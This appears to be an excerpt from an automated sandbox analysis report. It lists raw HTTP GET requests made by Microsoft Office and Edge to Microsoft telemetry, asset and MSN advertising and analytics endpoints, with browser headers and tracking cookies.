Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731396634698&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=048A31DB7A676AF1398424EE7B306B35&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=048A31DB7A676AF1398424EE7B306B35&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=456e4140239f4afebbac9ab024a9970d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQv.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731396634698&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=048A31DB7A676AF1398424EE7B306B35&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B0ebc8e096ca385d16ef571731396636; XID=1B0ebc8e096ca385d16ef571731396636
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=048A31DB7A676AF1398424EE7B306B35&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6aeba08b3e784f3ea84cf25a7503cf14 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732001430&P2=404&P3=2&P4=axnMyjDCdHPwB9%2fDORSuSFhqwo3YIlRpasYsWzv%2bbPDZW1wOTyykjtrlO%2bca3bCq8sF6mBWZn17UkvWY8TLFmQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: RlFij42IpA2Ty62L7uFFQkSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A63DE543850F4BB9BD7C9BA0E255D8AC&MUID=048A31DB7A676AF1398424EE7B306B35 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
